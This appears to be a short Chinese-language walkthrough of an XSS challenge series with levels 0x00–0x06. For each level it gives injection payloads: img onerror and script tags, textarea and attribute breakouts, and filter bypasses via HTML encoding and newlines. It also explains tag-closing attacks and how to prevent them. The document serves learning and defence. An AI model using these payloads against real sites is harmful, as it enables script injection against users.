0x00
input code写成:
<img src="x" onerror="alert(1)">
// 或者
<script>alert(1)</script>
0x01
考察最基本的标签闭合,此处相当于把前后的textarea给闭合掉。
标签闭合攻击通常发生在用户输入中包含未经正确处理的HTML标签或属性时。攻击者可以使用特殊字符(例如左尖括号“<”和右尖括号“>”),来欺骗客户端脚本,使其误识别用户输入中的HTML标签或属性。这样就可能导致客户端脚本生成的动态DOM元素不符合预期,从而导致安全漏洞。
以下是一个标签闭合攻击的示例:
var name = "<img src='attack.png'>";
var div = document.createElement('div');
div.innerHTML = "Hello, " + name;
document.body.appendChild(div);
在上述代码中,攻击者将一个img标签作为用户名输入,并将其赋值给变量name。然后,客户端脚本将name作为字符串的一部分添加到了div元素中,从而导致img标签被渲染到页面中。由于img标签中的src属性是攻击者指定的,因此可能会导致跨站点脚本攻击等安全问题。
</textarea><img src="x" onerror="alert(1)"><textarea>
或
</textarea><script>alert(1)</script><textarea>
为了防范标签闭合攻击,开发者应该使用适当的方法来转义和过滤用户输入。例如,可以使用innerHTML方法前先进行HTML编码,或者使用textContent方法来代替innerHTML方法。另外,还可以限制用户输入的内容,只允许输入特定字符或进行白名单过滤,以避免不必要的安全风险。
0x02
"><img src="x" onerror="alert(1)">
或
"><script>alert(1)</script>
0x03
单引号替换
0x04
相当于黑名单里面加了`,所以需要采用html编码进行绕过
<img src="x" onerror="alert(1)">
0x05
0x06
过滤了以=结尾的字符,可以采用换行符绕过